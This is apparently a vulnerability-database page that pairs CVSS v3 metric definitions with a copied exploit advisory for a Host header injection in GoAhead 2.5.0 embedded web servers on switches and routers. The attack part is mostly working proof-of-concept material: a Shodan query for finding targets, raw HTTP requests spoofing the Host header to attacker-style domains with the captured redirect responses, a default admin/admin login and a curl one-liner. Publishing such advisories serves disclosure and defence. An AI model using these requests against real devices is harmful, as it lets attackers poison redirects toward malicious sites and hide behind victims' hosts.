The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
Low
C
There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
Low
A
There is reduced performance or interruptions in resource availability. However, the attacker does not have the ability to completely prevent access to the resources or services; the impact is limited.
Below is a copy: GoAhead 2.5.0 Host Header Injection
# Exploit Title: GoAhead Web server HTTP Header Injection.
# Shodan Query: Server: Goahead
# Discovered Date: 05/07/2019
# Exploit Author: Ramikan
# Vendor Homepage: https://www.embedthis.com/goahead/
# Affected Version: 2.5.0 may be others.
# Tested On Version: 2.5.0 in Cisco Switches and Net Gear routers.
# Vendor Fix: N/A
# CVE : N/A
# CVSS v3: N/A
# Category: Hardware, Web Apps
# Reference : www.fact-in-hack.blogspot.com
Vulnerability: Host Header Injection
A Host Header Injection vulnerability may allow an attacker to spoof a particular Host header, allowing the attacker to render arbitrary links that point to a malicious website with poisoned Host header webpages.
An issue was discovered in GoAhead web server version 2.5.0 (may be affected on other versions too). The values of the 'Host' headers are implicitly set as trusted while this should be forbidden, leading to potential host header injection attack and also the affected hosts can be used for domain fronting. This means affected hosts can be used by attackers to hide behind during various other attack
PS: Affected on most of embedded webservers on hardware such as switches, routers, IOT and IP cameras.
POC: 1
Request:
POST /goform/login HTTP/1.1
Host: myevilwebsite.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Connection: close
Referer: https://46725846267.com/login.asp
Upgrade-Insecure-Requests: 1
username=admin&password=admin&language=english
Response:
HTTP/1.0 302 Redirect
Server: Goahead/2.5.0 PeerSec-MatrixSSL/3.2.1-OPEN
Date: Fri Jul 12 15:28:29 2019
Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html
<html><head></head><body>
This document has moved to a new <a href="https://myevilwebsite.com/login.asp">location</a>.
Please update your documents to reflect the new location.
</body></html>
POC: 2
Request:
POST /config/log_off_page.htm HTTP/1.1
Host: google.com:443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: 12344
Content-Type: application/x-www-form-urlencoded
Content-Length: 774
Connection: close
Upgrade-Insecure-Requests: 1
restoreUrl=&errorCollector=&ModuleTable=OK&rlPhdModuleTable%24VT=OK&rlPhdModuleStackUnit%24VT=Type%3D0%3BAccess%3D1%3BNumOfEnumerations%3D0%3BRange0%3D%5B-2147483648%2C2147483647%5D&rlPhdModuleIndex%24VT=Type%3D0%3BAccess%3D1%3BNumOfEnumerations%3D0%3BRange0%3D%5B-2147483648%2C2147483647%5D&rlPhdModuleType%24VT=Type%3D0%3BAccess%3D1%3BNumOfEnumerations%3D0%3BRange0%3D%5B-2147483648%2C2147483647%5D&rlPhdModuleNumberOfPorts%24VT=Type%3D0%3BAccess%3D1%3BNumOfEnumerations%3D0%3BRange0%3D%5B-2147483648%2C2147483647%5D&ModuleTable%24endVT=OK&rlPhdModuleStackUnit%24repeat%3F1=1&rlPhdModuleIndex%24repeat%3F1=1&rlPhdModuleType%24repeat%3F1=47&rlPhdModuleNumberOfPorts%24repeat%3F1=28&ModuleTable%24endRepeat%3F1=OK&userName%24query=%24enab15%24&password%24query=admin&x=0&y=0
Response:
HTTP/1.1 302 Redirect
Server: GoAhead-Webs
Date: Sat Oct 14 19:04:59 2006
Connection: close
Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html
Location: http://google.com:443/config/accessnotallowedpage.htm
<html><head></head><body>
This document has moved to a new <a href="http://google.com:443/config/accessnotallowedpage.htm">location</a>.
Please update your documents to reflect the new location.
</body></html>
POC: 3
curl -k --header "Host: attacker domain" "victim's url"
Initial Investigation:
Potentially affected Part of the source code in GoAhead web server is in the http.c file, which contains 'host' parameter.
https://github.com/embedthis/goahead/blob/master/src/http.c
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum